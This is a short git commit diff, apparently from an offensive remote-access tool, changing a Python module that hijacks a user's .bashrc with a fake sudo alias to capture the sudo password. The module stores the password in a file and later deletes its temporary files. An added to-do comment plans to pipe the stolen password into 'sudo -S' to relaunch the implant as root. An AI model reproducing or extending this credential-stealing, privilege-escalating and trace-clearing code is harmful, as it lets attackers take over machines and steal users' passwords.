sudo alias changes: cleanning tmp files + adding to do list in comment

This commit is contained in:
Alessandro ZANNI 2016-10-24 00:00:09 +02:00
parent 09945f7f3d
commit 1020749ef1
1 changed files with 7 additions and 0 deletions

View File

@ -123,6 +123,10 @@ fi
if os.path.exists(self.bashrc):
self.original_bashrc_content = open(self.bashrc).read()
# TO DO
# launch pupy as root
# replace # [OPTIONAL_LINE] by echo "$password" | sudo -S <path_to_pupy_binary>
# write code to the tmp directory
code = self.sudo_alias_code().replace('[STORE_PASSWORD]', self.password_file)
open(self.alias_file, 'w').write(code)
@ -143,3 +147,6 @@ fi
self.store_sudo_password(password)
self.stopped = True
time.sleep(5)
# clean everything
self.clean_files()